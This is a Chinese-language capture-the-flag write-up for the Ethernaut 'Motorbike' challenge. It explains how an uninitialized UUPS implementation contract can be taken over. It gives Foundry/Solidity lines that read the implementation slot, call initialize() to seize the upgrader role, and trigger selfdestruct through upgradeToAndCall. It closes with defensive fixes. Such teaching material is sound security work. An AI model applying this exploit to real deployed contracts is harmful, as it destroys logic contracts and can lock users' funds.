Motorbike 题目描述 原题 in Sepolia 合约使用代理调用 合约的逻辑,我们使用 合约中的逻辑时,将函数调用发送到 合约中, 合约再代理调用 合约。目标是销毁 合约,使 合约失效(无法代理调用)。 运行 根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令: 功能简述 合约并没有 方法,无法销毁合约。但是 合约在初始化 合约时,使用的是代理调用,并没有直接合约间调用。也就是说, 合约并没有初始化。我们只要找到实际的 合约地址,并将它初始化, 将 变量赋值为我的地址, 然后再调用 函数 让 合约代理调用 方法。即可完成目标。 合约在使用代理时,一定要注意 也进行了必要的初始化,以防止额外的事故发生。
Motorbike合约使用代理调用Engine合约的逻辑,我们使用Engine合约中的逻辑时,将函数调用发送到Motorbike合约中,Motorbike合约再代理调用Engine合约。目标是销毁Engine合约,使Motorbike合约失效(无法代理调用)。
根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:
$ cd WTF-CTF $ forge test -C src/Ethernaut/Motorbike -vvvvv
Engine合约并没有selfdestruct方法,无法销毁合约。但是Motorbike合约在初始化Engine合约时,使用的是代理调用,并没有直接合约间调用。也就是说,Engine合约并没有初始化。我们只要找到实际的Engine合约地址,并将它初始化,
engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT))));
将upgrader变量赋值为我的地址,
Engine(engine).initialize();
然后再调用upgradeToAndCall函数
Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); //function done() public { // selfdestruct(address(0)); //}
让Engine合约代理调用selfdestruct方法。即可完成目标。
合约在使用代理时,一定要注意implementation合约也进行了必要的初始化,以防止额外的事故发生。
比如在implementation合约的构造函数中使用_disableInitializers(),链接
或者在implementation合约的函数中使用onlyDelegateCall函数修饰器,以保证implementation合约中的函数不会被call。
address immutable original; constructor() { original = address(this); } modifier onlyDelegateCall() { require(address(this) != original); _; }